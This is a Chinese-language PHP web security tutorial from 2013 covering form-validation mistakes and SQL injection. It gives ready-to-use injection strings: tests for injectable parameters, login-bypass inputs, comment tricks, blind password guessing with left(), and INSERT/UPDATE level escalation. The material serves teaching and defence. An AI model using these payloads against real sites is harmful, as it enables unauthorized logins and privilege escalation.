浅谈php web安全(2)

发表于:2013-12-31来源:IT博客大学习作者:Benwin点击数: 标签:php
(2)数据长度问题,如 数据库 建表字段char(25),大多phper考虑到是否为空、数据类型是否正确,却忽略字符长度,忽略还好更多是懒于再去判断长度。(这个

  (2)数据长度问题,如数据库建表字段char(25),大多phper考虑到是否为空、数据类型是否正确,却忽略字符长度,忽略还好更多是懒于再去判断长度。(这个更多出现在新手当中,笔者曾经也有这样的思想)

  (3)以为前端用js判断验证过了,后台不需要判断验证。这也是致命,要知道伪造一个表单就几分钟的事,js判断只是为了减少用户提交次数从而提高用户体验、减少http请求减少服务器压力,在安全情况下不能防“小人”,当然如果合法用户在js验证控制下是完美的,但作为phper我们不能只有js验证而抛弃再一次安全验证。

  (4) 缺少对表单某些属性比如select、checkbox、radio、button等的验证,这些属性在web页面上开发者已经设置定其值和值域(白名单值),这些属性值在js验证方面一般不会验证,因为合法用户只有选择权没修改权,然后phper就在后端接受数据处理验证数据的时候不会验证这些数据,这是一个惯性思维,安全问题也就有了,小人一个伪表单足矣致命。

  (5)表单相应元素name和数据表的字段名一致,如用户表用户名的字段是user_name,然后表单中的用户名输入框也是user_name ,这和暴库没什么区别。

  (6)过滤危险字符方面如防注入下面会独立讲解。

  3、防注入

  3.1简单判断是否有注入漏洞以及原理。

  网址:http:www.phpben.com/benwin.php?id=1 运行正常,sql语句如:select * from phpben where id = 1

  (1) 网址:http:www.phpben.com/ benwin.php?id=1’ sql语句如:select * from phpben where id = 1’ 然后运行异常 这能说明benwin.php文件没有对id的值进行“’” 过滤和intval()整形转换,当然想知道有没有对其他字符如“%”,“/*”等都可以用类似的方法穷举测试(很多测试软件使用)

  (2) 网址:http:www.phpben.com/ benwin.php?id=1 and 1=1 则sql语句可能是 select * from phpben where id = 1 and 1=1,运行正常且结果和http:www.phpben.com/benwin.php?id=1结果一样,则说明benwin.php可能没有对空格 “ ”、和“and”过滤(这里是可能,所以要看下一点)

  (3)网址:http:www.phpben.com/ benwin.php?id=1 and 1=2则sql语句可能是 select * from phpben where id = 1 and 1=2 如果运行结果异常说明sql语句中“and 1=2”起作用,所以能3个条件都满足都则很确定的benwin.php存在注入漏洞。

  ps:这里用get方法验证,post也可以,只要把值按上面的输入,可以一一验证。

  这说明

  3.2常见的mysql注入语句。

  (1)不用用户名和密码

  //正常语句

  $sql ="select * from phpben where user_name='admin' and pwd ='123'";

  //在用户名框输入’or’=’or’或 ’or 1=’1 然后sql如下

  $sql ="select * from phpben where user_name=' 'or'='or'' and pwd ='' ";

  $sql ="select * from phpben where user_name=' 'or 1='1' and pwd ='' ";

  这样不用输入密码。话说笔者见到登录框都有尝试的冲动。

  (2)在不输入密码的情况下,利用某用户。

  //正常语句

  $sql ="select * from phpben where user_name='$username' and pwd ='$pwd'";

  //利用的用户名是benwin 则用户名框输入benwin’# 密码有无都可,则$sql变成

  $sql ="select * from phpben where user_name=' benwin'#' and pwd ='$pwd'";

  这是因为mysql中其中的一个注悉是“#”,上面语句中#已经把后面的内容给注悉掉,所以密码可以不输入或任意输入。网上有些人介绍说用“/*”来注悉,笔者想提的是只有开始注悉没结束注悉“*/”时,mysql会报错,也不是说“/**/”不能注悉,而是这里很难添加上“*/”来结束注悉,还有“-- ”也是可以注悉mysql 但要注意“--”后至少有一个空格也就是“-- ”,当然防注入代码要把三种都考虑进来,值得一提的是很多防注入代码中没把“-- ”考虑进防注入范围。

  (3)猜解某用户密码

  //正常语句

  $sql ="select * from phpben.com where user_name='$username' and pwd ='$pwd'";

  //在密码输入框中输入“benwin’ and left(pwd,1)='p'#”,则$sql是

  $sql ="select * from phpben.com where user_name=' benwin' and left(pwd,1)='p'#' and pwd ='$pwd'";

  如果运行正常则密码的密码第一个字符是p,同理猜解剩下字符。

  (4)插入数据时提权

  //正常语句,等级为1

  $sql = "insert into phpben.com (`user_name`,`pwd`,`level`) values(‘benwin','iampwd',1) ";

  //通过修改密码字符串把语句变成

  $sql = "insert into phpben.com (`user_name`,`pwd`,`level`) values(‘benwin','iampwd',5)#',1) ";

  $sql = "insert into phpben.com (`user_name`,`pwd`,`level`) values(‘benwin','iampwd',5)-- ',1) ";这样就把一个权限为1的用户提权到等级5

  (5)更新提权和插入提权同理

  //正常语句

  $sql = "update phpben set `user_name` ='benwin', level=1";

  //通过输入用户名值最终得到的$sql

  $sql = "update phpben set `user_name` ='benwin',level=5#', level=1";

原文转自:http://blogread.cn/it/article/6086